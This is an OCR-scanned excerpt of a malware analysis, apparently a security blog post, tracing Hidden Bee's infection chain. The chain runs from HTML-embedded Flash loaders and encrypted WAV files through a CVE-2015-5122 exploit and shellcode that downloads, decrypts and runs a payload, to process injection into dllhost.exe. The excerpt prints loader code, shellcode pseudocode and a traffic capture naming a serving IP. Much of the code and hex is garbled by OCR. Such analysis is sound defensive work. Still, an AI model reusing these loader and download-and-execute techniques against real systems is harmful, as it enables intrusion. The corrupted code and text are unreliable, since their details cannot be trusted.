EiziEzas 65 &4 6C &C ZE &2 €9 EE DB BE BB B0 B8 B8 DS 67 edll.bin...... -
EiziEz1oi@2 60 28 B2 0@ B8 &2 69 6E 2F &1 60 &4 26 24 2F| e (M. binsamdéds
Eizipzzol el 6C 6F &1 &4 65 72 2E &2 €9 6E BO BB 98 98 98|k loader.bin..EEE
Ei2iE=22 B2 2E OO G0 0F B0 DR B0 OB B0 0B B0 OB B GE O RM. . ...cciieana
GiziBz40| 08 B0 60 A0 08 B0 OB B0 DB B0 0B B0 BB SB OB E5| ... ..0000.. koe
HlziE=tcioa 72 B8 6E DB &5 DB &C B8 33 08 32 88 ZE 88 24| .r.n.e. 13020, .d
BisiBzcc{oa 6C B8 &6C 0A BE O BS BA AR AR AR FF 38 FF S8 . l.l... ap
gisi@=rs{@4 FF EB S8/ 5B CC SB DB 53 ER B2 52 51 S8 ES 7H| # OxilrddarfREPR:
EiziE=22{ @2 80 68 C3/ 55 8B EC 82 EC @C 2B 4588 29 45 FCle., HUodag. GEQEER
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So the part that was hidden in the JPG is, in reality, a package that decrypts the custom filesystem and deploys the

next stage modules: /bin/1386/preload and

/bin/i386/coredll.bin

. This filesystem has even more elements that are loaded at later stages of the infection. Their full functionality

will be described in the next article in our series.
Even more hidden

From the beginning, Hidden Bee malware has been well designed and innovative. Looking at one year of its
evolution, we can be sure that the authors are serious about making it even more stealthy—and they don’t stop

improving it.

Although the initial dropper uses components analogous to ones observed in the past, revealing their encrypted
content now takes many more steps and much more patience. The additional difficulty in the analysis is

introduced by the fact that the URLs and encryption keys are never reused, and work only for a single session.

The team behind this malware is skilled and determined. We expect that the Hidden Bee malware won’t be going

extinct anytime soon.

[=] F5miiSngsdaSpbfbe 22 Bt4 html E3

1 <html>

2 <body>

3 <script tyvpe="text/javascript">

4 = function getSalt () {

& return "1ImQREFFGabdecdAB";

6 r }

7 - </script>

8 E <div style="position:fixed; top:50%; left:50%; margin-left:-300; margin-top:-200;">

£ = <object classid="glsid:D27CDBEE-AE6D-11cf-96BE8-444553540000" type="application/x-gshockwave-flas
10 <param name="movie" value="/views/dts8%lkungl54t636tdna2viyg.gyf"></param>

1 <param name="allowScripthAccess" value="always"></param>

12 <embed src="/views/dts8%clkungl54t636t4na?viyg.syf" allowScriptlAccess="always" type="applica
13 - </object>

14 r </div>

15 - </body>

16 = </html>

Alternative case: two WAV files

Sometimes, rather than embedding the WAV containing the Flash exploit, authors use another model of delivering
it. They store the URL to the WAV, and then they retrieve the file.

In the below example, we can see how this model is applied to Hidden Bee. The salt, along with the WAV URL,
are both stored in the Javascript embedded in the HTML.:
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1 <html>

Z <body>

3 <geript type="text/javascript">

4 function getSalt(){

5 return "zACOBCcdSTBCHYTIULZ™:

€ }

7 function getiudioResource() {

=] return "/views/r5Zb5mlkl0wltZ0tf4akl4dsScad _wavw™;

E }

10 </script>

11 <div style="position:fixed; top:50%; left:50%; margin-left:-300; margin-top:-200;">
1z <pbject classid="clsid:DZTCDBEE-REED-1lcf-56BE-444553540000" type="application/x-shockwave-
E flash" id="gwi" data="/views/sd3o0lBfsf844jsg3oeqoadtjuid_swi">

13 <param name="movie"™ wvalue="/views/sd3o0l8fs844jagioegoadtjuid_swi"r< /param>
14 <param neame="allowScriptlAccess"™ walue="always"></param>

15 <embed sro="/views/3d30l8f3844j3g3cegoadtiuid swif" zllowScriptlccess="always" type="
E application/x-shockwave-£flash"»</embed>

1é </object>

17 </div>

18 </body>

13 </html>

The Flash file first loads it and then decodes as the next step:

userAgent unescape (_loc2 ["user"]):;

urlloader = new URLLoader():

urlloader .dataFormat = URLLoaderDataFormat.BINARY;
urlloader .addEventlListener (Event.COMPLETE,onLoaded)
if(ExternalInterface.available)

{
Lry
{
_1loc? = ExternalInterface.call ("parent.parent.AppUtils.getToken");
_loc4 = Externallnterface.call("getSalt");
_loc5_ = Externallnterface.call("getAudioResource™);
algo = ExternalInterface.call ("parent.parent.fpplUtils.gethppId™) ;
cryptoEey = zetup(_loc3  + _locd );
if{_locS_.length > O}
{
urlloader .addEventListener (I0ErrorEvent.I0 ERROR,onLoadError):;
urlloader .load(new URLRequest(_locS_});
}
return;
|
catche:*)
i
return;
}

Looking at the traffic capture, we can see that in this case, not one, but two WAV files are downloaded:

[ —

private...

L% 195 HTTP .G a ... iexplore:2028
P17 200 HTTP 38.75.137.9:9088  jviewsf=d3ola3fs844jsq30eqoadtjuid. swf 115062 private... application/... iexplore:2028
ﬂ 198 200 HTTP 38.75.137.9:9088  jviewsfr52b5m 1kl0v 1t20tf4akl45c94. wav 35880 private... audiofwav iexplore: 2028
ﬂ 199 200 HTTP 38.75.137.9:9088  jviews/qa0tqpp2ub4bcaflljSuroaac. wav 43852 private... audiofwav iexplore: 2023
|:| 200 200 HTTP 38.75.137.9:9088 A fievasra210s3f688r 2 18bcteok. jpg 156 005 private... imagefipeg dlhost: 2576

The algorithms used to encrypt the content of the first WAV may vary and sometimes the algorithm is supplied as
one of the parameters. After the content is fetched, the data from the WAV files is decoded using one of the

available algorithms:
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private static funotion onloaded(paraml:Ewvent) : woid

i
urlloader .removeEventListener (Event.COMPLETE,onLoaded)
urlloader .addEventlistener (IOErrorEvent.I0 ERROR,onLoadError):;
var readData:ByteRArray = urlloader .data as BytelArray;
loader = decode (readData,cryptoEey ,algo,onMovieloaded) :

¥

We can see that the expected content is a Flash file that is then loaded:

private static function onMovieLoaded (paraml:Event) : vold

i
loader .contentLoaderInfo.removeEventListener (Event.COMPLETE, onMovieloaded) ;
var newClip:MovieClip = MovieClip(paraml.currentTarget.content) ;
doc_.addChild(newClip) ;

}

The “decode” function

The function “decode” is imported from the package “com.google”:

94 getlocal 3
95 getlex (name (PackageMNamespace (""), "onMovieloaded™)
98 kallproperty Oname {PackageNamespace |

com.google™) , "decode™) 4

The full decompiled code is available here.

When we look inside, we see that the code is slightly obfuscated:

ActionSeript source

com.google.decode
|

WARNING: The code decompilation contains §§ instructions. This is usually caused by an obfuscation (See Settings/Automatic deobfuscation) or 3 nonstandard compiler used (Haxe, etc.).

1 ba:kage com.google

2 {

3 import avm2.intrinsics.memory.lilé;
4 import avm2.intrinsics.memory.li32;
5 import avm2.intrinsics.memory.lif;
[ import avm2.intrinsics.memory.silé;
7 import avmZ.intrinsics.memory.sida:
8 import avmZ.intrinsics.memory.sig:

9 import com.google 2F var 2F folders 2F z4_2F jk5tsd6l3nsthpppmxkve65m0000gn_2F T 2F 2F cculOwlUa 2E_lto 2E be 3R 2210E4FB_2D 444B 20 45E7_
10 import flash.display.Loader:

11 import flash.system.RpplicationDomain;

12 import flash.system.LoaderContext;

13 import flash.utila.ByteRArray;

14

15 public function decode (paraml:ByteArray, param?:ByteArray, param3:int, paramé:Function) : Loader

16 {

Looking at the decompiled code, we see some interesting constants. For example, —-889275714 in hex is

0xCAFEBABE. As we found during analysis of other Hidden Bee elements, this DWORD was used by the same

authors before as a magic number identifying one of the custom formats.
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243 if( loc53 = -889275714)

244 {

245 _loe53_ = 1i32(_locé&8_ - 32)»

248 if{_loch3_ == 32)

247 {

248 if{_locS9_ != 0)

2419 {

250 if{_lochs_ != 1)

251 {

252 _loc53_ = int{_loc@3_ - 40):
253 _loe53_ = _locB3_ | 4:

254 _loe57_ = 1i32(_locS3_):

255 1

256 elae

257 {

258 _locsi_ = int{_loc3_ - 16);
259 3132({_loc57_, _locS_ + 4);
260 _loch3_ = int(_loc&&_ - 1072);
261 3i32(_loc53_, locS )

262 E5F = _locS_»

263 F_ECRYPT keysetup():

264 _loch5_ = int{_locS_ + 18);
265 _lochl_ = int{_locG3_ - 40);
266 _loe5l_ = _loc3l_ | 4;

267 _locs7_ = 1132 (_loc5l_):

268 _locsi_ = int{_loc3_ - 16);
269 3132 (_1loe57_, _loeS_ + 12);
270 _lochl_ = int{_locdd_ + T&):
271 3i32{ lochl , locS_ + 8);
272 3132 (_loc5l_, loc5_ + 4);
273 3i32(_loch3_, _loch )

274 E5F = _locS_;

275 F ECREYFT process_bytes();

Internally, there are references to a function from another module: E_ENCRYPT_process_bytes(). Inside this

function, we see calls suggesting that the Rabbit Cipher has been used:
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10 public function F_ECRYPT procesa_bwytes() : wvoid
11 {

12 var locd :* = 0;

13 var _locT _:* = 0;

14 var locd :* = 0;

15 var loci _:* = 0f

16 var _locB_:int = 07

17 var _locé_:* = 07

18 var _loc3_:* = int(E5EF);

13 _loc2 = loc3 ;

20 _loc3_ = int{_loc3_ - 14);

21 _locd = 1i32(_loc2_ + 12):

22 _locs_ = 1i32(_loc2_ + 8):

23 _locE = 1i32(_loc2_ + 4):

24 _loc7_ = 1i32(_loc2_):

25 if{uint{_locd4 ) »>= 1&)

26 {

27 _locs_ = int{_loc5_ + 12);

28 _locg_ = locé  + 127

29 _loceé_ = int{_locT_ + &8);

30 do

al {

32 _loc3i_ = int{_loc3_ - 1&8);
a3 3132 (_lock_, loc3_):

34 E3F = _loc3_;

35 F RABBIT next state();

36 _1loc3_ = int{_loc3_ + 16);

Rabbit uses a 128-bit key (the same length as the MD5 hash that was mentioned before) and a 64-bit initialization

vector. (In different runs, a different encryption algorithm may be selected.)

After the decoding process is complete, the revealed content is loaded:

e f
3329 if{_locsT_ !'= 0}

3330 {

3 _loe53_ = 1i32{_loc57_);

3332 ESP = _locS_ s -16;:

3333 var _loclé_:ByteArray = new ByteRrrav():

3334 (CModule.readBytes (int(_loc57_ + 4), loc53 ,_ loclé_);

3335 ESP = _loc5_ & -14;7

3336 ESP = _loc5_ & -167

3337 new Loader().contentloaderInfo.addEventListener ("conplete”, paramd) ;
3338 ESP = _loc5_ & -167

3339 var _loc69_:LoaderContext = new LoaderContext(false,ApplicationDomain.currentDomain];
3340 ESP = _loc5_ & -167

3341 _locéd_.applicationDomain = ApplicationDomain.currentDomain;

3342 ESP = _loc5_ & -167

3343 _locéd_.allowCodeImport = true;

3344 ESP = _locS_ & -147

3345 new Loader() .loadBytes {Jln:-clﬁ_, _locé9_);

3344 _loc5_ = int{_loch_ - 18);

3347 3i32(_loc57_,_locS_):

3348 ESP = _loch_»

3349 F_idalloc():

3350 _loc5_ = int{_loch_ + 18);

3351 _loc2i_ = new Loader():

3352 }

The first WAV: a Flash exploit
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The decoded WAV contains a package with two elements embedded: a Flash file (movies.swf) and the
configuration file (config.cfg). The decrypted data starts from the magic DWORD 0xCAFEBABE, which we

noticed in the code of the previous SWF.

i iexplore.exe.dmp

Cffset(h) 00 01 02 03 04 05 06 07 08 095 OA OB OC OD OE OF Decoded text

07763B10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wuvvusuuunreeesss
07763820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wuvvuvuuunneeesss
07763B30 00 52 49 46 46 04 8C 00 00 57 41 56 45 66 6D 74 .RIFF.S..WAVEfmt
07763B40 20 10 00 00 00 01 00 01 00 20 3E 00 00 00 7D 00  +u.vuuues €r...1.
07763B50 00 02 00 10 00 64 61 74 61 E0 8B 00 00 33 8C C2  ..... datatc..354
07763B60 4E 22 31 TA B8 6F 34 Fe A5 F7 AS AF 10 F3 07 C2 N™lz o464 Z.8.4
07763B70 46 E7 31 4E B3 28 9E FF 14 9F 1F 98 14 1F 8B 08 F-INZ.% .Z....<.
07763B80 00 00 00 00 0D OO0 03 00 72 20 8D 7F DTN - .------ reT.[[stH
07763B90 3C 00 00 00 02 00 00 00 24 00 00 00 3C 00 00 00 <....... $...<...
07763BA0 2D &E 00 00 30 00 00 00 €9 2B 00 00 3C 00 00 00 =¢..0...1i¢..<...
07763BB0 2F &0 6F 76 69 &5 73 2E 73 77 66 00 2F 63 6F 6E /movies.swf./con
07763BCO 66 €3 67 2E 63 66 67 00 43 57 53 1B TF FF 00 00 fig.cfg.CW5.. ..
07763BD0 78 9C EC BD 77 5C 55 47 D7 2F 3E B3 67 EF B3 4F x&&“w\UGx/>igdi0

The Flash file (movies.swf) contains an embedded exploit. In the analyzed case, the exploit used is CVE-2015-

5122, however, a different exploit may be used on a different machine:

A flashz.swf
| header

] sprites

H frames

|| athers

|\ scripts

Fove 2015 5122 _fla
=0

—»  Bufton_disabledSkin
—» | Button_downSkin

—»  Bufton_emphasizedskin
—»  Bufton_overskin

The payload (shellcode) is stored in form of an array (binary version available here:
9aec11ff93b9df14f060f78fbb1b47a2):

1 package

2

= class PayloadWin3z

4 {

5

[ public static wvar payload:Vector.<uint> = Vector.<uint>({[2420162609,6130450447,1620856352,1768,134222080,
7

g

g function PayloadWin3a2()
10 {

11 super();

12 }

13 1

14 }

15

The configuration file (config.cfg) contains the URL to another WAYV file.
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The payload is padded with NOP (0x90) bytes, and the parameters, including the configuration, are filled there
before the payload runs.

pavlEnd = O;

payllength = PayloadWin32.payload.length;
indx = O;

while(indx < pavlLength - 1)

i

if{PavloadWin3Z.pavload[indx] = O0xZ0203202C
&& PavloadWin3Z.pavlicad[indx + 1] = O0xZ0202032C0

)
i
pavlEnd = indx;
break:
1
indx++;
i
if{pavlEnd '= 0)
i
indx = O;
while(indx < paraml.length)
i
S /write parameters at the end of the payload:
PayvloadWin32 .pavlocad[pavlEnd + indx] = paraml [indx]:
indx++;
1
i

The shellcode: downloading the second WAV

The second WAV, in contrast to the first one, is always downloaded and never embedded. It is retrieved by the
“PayloadWin32” shellcode (9aec11£f93b9df14f060f78fbb1b47a2), deployed after the successful exploitation.

Looking inside this shellcode, we find the function that is responsible for downloading and decrypting another
WAV. The shellcode uses parameters that were filled by the previous layer. This buffer contains the URL that will
be queried and the key that will be used for decryption of the payload. It loads functions from wininet.dll using

their checksums. After the initialization steps, it queries the supplied URL. The expected result is a buffer with a
header typical for WAV files.
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v2 = alj

v3 = &input_buffer[-*{unsigned _ intl6e *}input_buffer];

func_checksums = (int)&v3[*((unsigned _ intle *}input_buffer + 1}];

buf = &3[*(unsigned _ intle *)}(func_checksums + @x7@) - *((unsigned _ intle *}input_buffer + 2}];
zero_buffer(&functions list, @wd4Cu);

result = load_wininet_functions(v2, (int (_ stdcall **){char *})&functions_list, func_checksums};
if ( result )
1

copy_16_bytes(buf, &crypt_key); // copy the crypto key

result = download_from_url(v2, &functions_list, buf, &meodule size);
wav_buf = (_BYTE *)}result;
if { result )

if ( *(_BYTE *)result == 'R’ // check the WAV header
&% *( BYTE *)({result + 1) == 'T"
&% *( BYTE *)({result + 2) == 'F'
&% *( BYTE *)(result + 3) == 'F'
&8 *(_DWORD *)(result + 4) <= module_size
&% *(_BYTE *)(re _«,ulf +8) == "W
&% *( BYTE *)({result + @xA) == 'V'
&% *( BYTE *)(r esult + Bx24) == 'd’
&% *( BYTE *)(result + 8x26) == 't' )
{

msize = *(_DWORD *}(result + 8x28);

As we already suspected, the data of the WAV (starting from the offset 0x2C) contains the encrypted content.
Indeed, blocks that are 8 bytes long are decrypted in a loop:

module size = *({_DWORD *)wav_buf + 8oucA);
if ( wav_buf != (_BYTE *)@xFFFFFFD4 )

if ( I(mSize & 7))

1
chunk_ptr = wav_buf + 8x2C;
crypt_init((int)}&crypt_ctx, Bcrypt_key, 16);
msize = module_size;
w23 = @;
if { module_size )
1
do
1
crypt_block((int)}&crypt ctx, chunk ptr, chunk ptr);
w23 += 8:
m5ize = module_size;
chunk_ptr += 8;
¥
while { v23 < module_size };
¥
¥

After the decryption is complete, the next module will be revealed. It is interesting to take a look at the expected
header of the payload to learn which format is used for the output element. This time, the decoded data is

supposed to start with the following magic numbers: 0x01, 0x04, ..., 0x10.
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if ( mSize > éxl1C
&% *((_DWORD *)wav_buf + @xE} <= mSize
&& wav_buf[@x2F] == exle
&& wav dJ-[bXZC] // start of the payload header
&& wav_buf[ex2D] =
&& mSize > *((_E ORD *)wav_buf + @x16)
&& mSize » *({(_DWORD *)wav_buf + 8xD)
&% !(wav_buf[8x3C] & 3) )
1
allocated buf = ( BYTE
v23 (un, gned int)
if ( allocated buf )
new_module_ep = (void (_ stdcall *)(unsigned int *))&allocated buf[*{(_DWORD *)wav_buf + @uD)}];
copy huffer(a__- ated buf, wav_buf + 8x2C, module size);
wav_buf + @x2C;
= v23; // _allocated buffer
ule_ep(&vl17); // call the decoded payload
'
VirtualFrees(v23, @, 8x86008);
}
}

The second WAV: an executable in proprietary format

On the illustration below, we can see how the data of the WAV looks after being decrypted
(9b37¢9ec19a53007d450b9b9c8febbe?):

Address |Hex dump ASCII

H2EEEEER| 52 49 46 46 C4 BE OB B0 57 41 56 45 &6 &0 v4 20| RIFF—2..WAUEfmt
F2EEEEIE| 18 B8 OB B0 @1 B8 Ol B0 28 3E OB B0 B8 VD 06 B0k, . .8.8.Cx .03,
BZEEHEZEH| B2 BE 16 BE 64 &1 74 61 OB BE B0 B0 @1 B4 BB 16| @, b.datads . . Ge. b
FEEEEEEE 10 BR Y4 BE BC HE DE B0 22 BE DE B0 FE HE OE B0 C.t.. 4.0 k2. pe.
H2&5EE4 0 +5.. 4.d7
H2&EHEEH
B2GoEEGH
HEnEEETE 4B BR 43 39 38 24 6E 656 65 BE OB BE B8 B4 0B 49 KECISinff.
precaEse 6B 68 63 64 6F FE 24 G6E 65 65 OB B0 BA B8 05 B0 khcdoVinff... .8
H2EEEETe) 47 B9 EC 49 B8 BE 24 &6E &6 65 DE B0 B8 BE 0@ 80 GY-IX"Snff......
HEEEEERE | 80 EVY HE 97 9F &5 BDO 6B 9B EC 28 BE 24 ¥5 82 60 1£+3&f2kT~lafue.
HEechEED) 2@ B 82 80 90 BB 93 IC CA 96 93 IC BE 96 93 IC @%e.kgdac=Fa"lao
HEEcEECH | 86 2E 6B D3 F? 58 BS B4 BF 32 BS 50 47 ¥B B8 55 «.kE HA+- ZAPGL{EU
procpEbe) 11 45 15 4E 89 5F BY 29 20 AF D2 7D 4F SB AS &3 AEENE_ElZ-0X0[EC
HEncEEED 98 F5 B2 B0 23 32 H1 &F 3C CE EE 30 SE DR FO EZ Eue.#ZiodrtBArid
HeecEdbe 58 3F 15 5H FA 34 19 49 FE ES 19 BE 2F 8¢ D08 IC) H7EC 44 ImfidR- i
Hrec@lEn) lF BB 31 CF 27 75 80 CH 2E CF BF &5 9E 32 &9 By W lo'uz=.0CF=3(E
ErecElle 63 AL BB 13 97 BF 2C 38 BF CH Y@ 38 E3 ER 82 20 ciglsx, 8-=pBArfe
HERcElZH | CE 48 94 B 18 C& 95 EBE BR AL CO EC 79 HE EBF D2 jrEc kALY i=ywiq0
Eerec@lze B2 FL Bl EDO B9 16 AD 41 56 F2 39 D5 B3 B8 OE 11 @81 osAU 91 |Z04
Heec@ldn 9 FC O 3F F3 11 F1 BF BF 6E 2R 16 74 2F 2E BS AE| #RY*4“q_n#*_t-, [+
Gooenlso|SB 43 B7 74 23 98 OC EA 1T 97 8% 97 5B 75 5B 34| [Iotel.F#stoluds

This is an executable component that is loaded into Internet Explorer. After it decodes the imports, it starts to look

much more familiar:

Address |Hex dump ASCII

BzZASEEAA| A1 B4 BE 18| 1C BA 74 BA|AC BE B8 BA|E2 EBE B8 G6|Ae.bo.t. . $.. 82,
HZASEE1A| FE B5 B8 BAA| 12 BS B8 B0\ A0 G0 B8 A8 A9 BE 11 A6|pe. . T5. ... ..., 1
HZASEEZA| 6E 74 &4 BC|EC ZE &4 EC|EC BE BE AC| B 25 6@ 4B ntdll dll....%.
H2ASE82A| 45 52 4E 45(4C 33 32 2E|64 6C 6C BB @B GC A8 @A2|ERMELZ2.dll....
HZ2ASEE48| 86 41 44 E&(41 BB 49 22|32 2E &4 &C|EC BE BE BE|.ADVARIZZ2.dLL..
BZASE6CH| BB G4 68 43 61 62 69 EE|65 74 ZE 64|EC EC 65 60| .e.Cabinet.dll..
H2ASE8EE| AR B8 A& 88|40 53 56 43|52 54 ZE 64| 6C &C 88 88| ..+ .MSUCRT.dLL..
HZASEETE| 00 B0 88 @8| 12 FA 20 FF|FE 47 9F FF|E4 AS 98 FF|e... 1 2w-GCWidsw
HZASEEEA| 1E 3B 8F FF|48 53 8F FF|CB 55 8F FF|CB 53 8F 7F|+; CWwESCW -UCw 50w
BZASEE3E| 08 54 5F 77| LF 53 92 77|25 50 90 77|78 B2 99 Y| LTCWTS [wi-EwsbEw
HZASEEAA| C4 73 9@ FF|48 6@ 9@ FF|E2 41 SF FF|EE 57 91 7F|.A=-wwiH™ - wih.aad
HZ2ASEBERA| 08 3C S9F FF|CB 4C SF FF|EE 2A BB 77|08 D9 BE 77| i{Cw'LCwt#*Iud Ju
HZASEECHE| 2B 45 BC 77|41 CF BE 7F|A2 BS BA 77|46 BA BE 77| +E.wHSIwiA. wFll Jw
G2ASE806| &2 BF BE 77|02 33 ac 7PFP|CF CO 8B 77|A4 10 BC 77|b#IwEl. wiFJuwlH.w
BZASEEER| 4F 21 BC FY| 26 2C BC FF|BE ZF BC FF|FC CA BE 77| 0. wiki.wAswi=ay

M -

We can see that it follows an analogical structure to the one described in last year’s article.
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This module is first executed within Internet Explorer. Then, it creates another process (dllhost.exe) in a

suspended state:

HZASEATS 2025 FCFFFFFF [LER ERX, OWORO FTR S5: [EEF-B:247

B2ASBATF =] FUSH EA

B2ASEAZE CE FUSH ESI

B2ASERS1 =) PUSH ESI

B2ASER32 &R B4 PUSH Bx4

B2ASEA3G =) PUSH ESI

E2ASEAZE EE PUSH ESI

H2ASER2E CE PUSH ESI

B2ASEAST 2025 24FDFFFF |LEA EAX,DOWORD PTR SS: [EEF-G:2C0C]

G2ASEA20 =) FUSH ESI

B2ASEAZE =] FUSH EA:

AZASER2F FF1S 2e@lA2E2 [CALL DWORD PTR DS: [Bx2ASE1281 kernel22. CreateProcessll
SECH TEST ERX,EAR

AZAZEAST |+ 74 40 JE SHORT BZASEAES

iq L_J

Stack address=BZ1AC15@, (UHICODE "C:w-Windows-~swstemzz-~~dl [host.ene"]
ERX=88806086 1

Address |Hed dump ASCII

GzAsEEEa| Al 64 88 16| 1C 68 74 88| AC BS B8 B8] S22 BE 690 a0|Ge.ko.t. . d. 0 k2.,
EZASEE1E| FE G5 88 G@| 12 BS @9 00|00 00 @8 88|87 08 11 88|pe. . t5. . i eaaad.
BZASEEZA| 6E 74 &4 GC|E&C ZE &4 GC|AC BE BE AC| A8 26 B8 4B[ntdll.dll... &K
HZAZEE3A| 45 52 4E 45|4C 33 32 ZE| 64 &C 6C BA|AB @C B8 &8 ERMELZZ2.dlLl....0
EZAZEE48| A6 41 44 56|41 5@ 49 22|52 ZE 64 EC|EC BE BE BE|.AOVAFIZZ.dLL..#
BZOSE6SE| BB G4 B8 43 61 62 69 EE|6E 74 2E 64|EC EC B0 68| .4.Cabinst.dll..
HZASEEEE| BA B8 8BS BB| 40 53 E& 42|52 B4 Z2E &4|&C &C B8 8A&( ..+ .MSUCRT.dLL..
B2ASEETA| 06 B8 A3 8| 12 FA S0 7F|FG8 47 SF 7F|E4 AS 98 7F|.... 1 2w-GCwiddw
B2ASE888| 1E 3B SF 77|48 53 SF FF|CB 55 SF FF|CB 53 SF 77| +; CwESCw tUCW LSCw
BZAEEE3E| 08 54 SF 77 LF 53 92 77|28 5C 90 77| TS 62 99 7Y| LTCWTS (wiEwsbEw
HZASEBAA|C4 73 98 FF|48 60 98 FF|68 41 8F FF|ES 57 91 77| -wwH" - wiheas
HZASEBERA| D& 3C 8F FF|CB 4C 8F FF|EE ZA BE 77|08 D9 BE 77| i{Cw'LCwt*dud Ju
BZAZEECAI ZE 45 AC FFi41 CF BB FFIAS BE BA FFl46 BA BE 77| +E.wADIWiA. wFll Jw

It injects its original copy there (769a05f0eddd6ef2ebdd13618b244758):

[ dilhost.exe (2784) Properties

| General I Statistics I Performance | Threads I Token I Modules | Memery | Environment I Handles I Comment

Hide free regions
Baze address Type Size  Protect... Use Tat
> Ox 10000 Private 128kE RW 1
> 0w 30000 Mapped 16kE R
> Ox40000 Private 4kB RW
4 (50000 Mapped 52kE  RWX
0x 50000 Mapped: Com... 52kB  RWX
7| dilhost.exe (2784) (0x50000 - 0:5d000) = ===
00000000 ﬂl 04 00 10 1c Oa 74 00 Oc OS5 00 00 &8 be 00 00 ...u.. Lovannanna »

00000010 70 O0& 00 OO0 18 k& 00 00 00 OO0 00 00 09 00 11 00 Pusesesnsnaaansns (W
00000020 &4 Te &2 66 66 24 6e 66 &6 00 00 Oc 00 26 00 41 d~nffsnff....&.R
00000030 4f 53 44 4f 44 39 38 24 6e 66 64 00 00 Oc 00 O QHEDOFSSsnff.....
00000040 00 4k 4e 5c 4b 5a 43 39 38 24 6e &6 66 00 00 Ob EMNEZCS9E8Snff...
00000050 00 04 00 4% 6b 62 63 64 &L 7e 24 6e 66 66 00 00 ...Ikhcdo~%nif..

000000680 0Oz 00 O& OO0 47 59 5c 49 58 5S5e 24 &e 66 &6 00 00 ....GY°NIX~%nff..
00000070 00 00 00 00 &c 7 ae 97 9f 66 bd 6b 9b Sc 88 Ob ......... k...
00000080 24 75 82 04 30 b8 82 0d 9d bb 93 lc ca 96 93 1lc fu..0...ieueusn
00000090 5e 96 93 1lc 0& 2e &b 43 £9 58 be 04 07 32 b5 50 ~..... k.. .X...2.F
000000&a0 47 7b 08 553 11 45 135 4e 8% 5L b7 2% 8d af 42 7d G{.U.E.N._.}...}
000000k0 4f Sk a8 63 90 75 82 04 23 32 al &f 3c ce ee 30 O[.c.u..#2.0<..0
000000ch Be da £d e2 58 3£ 15 Sa fa 34 19 49 fe e5 1% Oe ....¥2.Z2.4.I....
00000040 2f 87 d8 1lc 1f bb 31 of 27 75 84 ca 2e cf &8f 66 /..... AL PR £

Then it redirects execution to its loading function. Below, we can see the Entry Point of the implanted module

within dllhost.exe.
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* KernelMode - dilhost.exe - [*G.P.LU* - main thread]
@ File View Debug Plugins Options Window Help

et Bledx] w1 s+ 305 A~ s]E[m]T|w]nc| s

FF7424 B2 FUSH DWORD PTR S5: [ESP+E12] implanted_modu le_ep
BEASACED FFE424 B2 CALL DWORD PTR S5: [ESP+Ex2]
BEESECE L CZ Bcea RETH &:iC
BRASACES 55 FUSH _EEFP
BRASECES SEEC MOu EBF, ESP
BRESECET S3EC 12 SUUE ESF,Onls
BEASECEA =] FUSH _EBX ntdl . 77997140
BEESECEE 2BED 12 MOU EBX, ONORD PTR SS5: CEEF+E:12]
AARSACAF A FIISH FRT

1 [
Stack So:LO011FAECI-DEEELESH

Address |Hex dump HSCII

HEEEEEEE| 1 B4 B8 16| 1C BA 74 BE|EC B B8 BE| 22 BE 60 60| Ge. ko t.. &0 F2..
BEEEEE1A|FE G5 83 0| 12 BS 88 60|60 60 88 88|62 66 11 88|ps..t5. ... ... 4.
BEAASEEZA| 64 FE G6E &6 66 24 GE AR A6 BE BE AC| BB 26 B8 41|d nffinff....%.A
BEESEE3E| 4F 58 44 4F| 46 29 38 24| 6E &6 S5 BE| @8 GC @8 82| 0<00F985nff... .0
BERSEE4E| B8 4B 4E SC|4E 5A 43 39|38 24 6E 66|66 BE BE BE|.KH-KZCIESnff..d
HERSEEEA| BB B4 B8 49| 6B &8 63 64| 6F YE 24 GE| 66 &5 BE 88| . 4. Ikhcdo™Snff..
BARSEREA| AR @A @5 @A 47 59 EC 49|52 EE 24 6E| 66 &6 BE BA| ... .GY-~IE"5nff..
BARSEETA| AR B B8 @@ 2C EFY AE 97| 9F &5 BOD &EB| 9B SC 82 BE|....1E«3&F2kT k2
HEEEEESA| 24 Y5 892 60|28 BS 82 80|90 BB 92 IC|CR 96 93 1C|fue.@Se.kqnac=lac
BEEEEE9A|5E 96 92 IC| @& 2E 6B DI|F2? 58 B& 84| A7 32 BE 58| “Pi . kE HAe« 2AF
BEAESEEAE| 47 FE 82 55|11 45 1S 4E|89 5F BY 29|80 AF D2 70| G{EUAEEHE_EIZ=02
BEESEEES| 4F 5B AS 63|98 ¥5 92 60|22 32 Al &F|2C CE EE 38| O[EcEus. #2 (odjftE
BEASEEACA| 2E DA FO EZ| 58 3F 15 BAIFA 34 19 43|FE EE 19 BE|ArLORYES " 44 Imfi+H

A detailed analysis of the execution flow of this module and its format will be given later in the article.

At this point, it is important to note that the dllhost.exe is the module that further downloads the aforementioned

images.
The modules with the custom format

The module with the custom format is analogous to the one described before. However, we can see that it has

significantly evolved.

There are changes in the header, as well as improvements in the implementation.

Changes in the custom format

The new header is similar to the previous one. The few details that have changed are: the magic number at the
beginning (from 0x10000301 to 0x10000401), and the format in which the DLLs are stored (the length of a DLL
name has been added). That’s why we will refer to this format as “0x10000401 format.”

Another change is that now the names of the DLLs are obfuscated by a simple XOR with 1 byte character. They

are deobfuscated just before being loaded.
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Ll =]

@a3115DC

@83115D0C decede func_name:

@8B831150C mov cl, [esi+5]

B83115DF xor [eax], cl

B83115E1 mov ecx, [ebptarg_e]

8@83115E4 movzx  edx, byte ptr [edi]

B83115E7 inc eax

B83115E8 add ecx, eax

BB3115EA cmp ecx, edx

BB3115EC jb short decode func_name
T

‘ YYY
|l 5=
3115EE
3115EE loc_3115EE:
3115EE lea eax, [edi+d]
3115F1 push eax ; _DWORD

3115F2 call ds:LoadLlibrarys
3115F8 test eax, eax

3115FA mov [ebptvar_18], eax
3115FD jz short loc 311636

Summing up, we can visualize the new format in the following way:

Cffsec(h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Decoded text

00000000 [EEOERDL] 0 RS - I.. HEADERS

00000010 |70 _0&6 00 e e

08 00 11 00 .... DLLs

00000020 64 7E 6E 66 66 24 6E 66 66 00 0D OC 00 26 00 41 d~nff¢nff....&.A  [lc offeat = Ox1C
00000030 4F 58 44 4F 46 39 38 24 6E 66 66 00 00 0OC OXDOF98SnEs. .. .. N
00000040 00 43 4E 5C 4B SA 43 39 38 24 6E 66 66 00 .KM\Kzcosgnge, .. Svuctdll record{
00000050 00 04 00 49 6B 62 63 64 6F TE 24 6E 66 66 00 00 ...Ikhcdo~Snff.. WORD name_length,
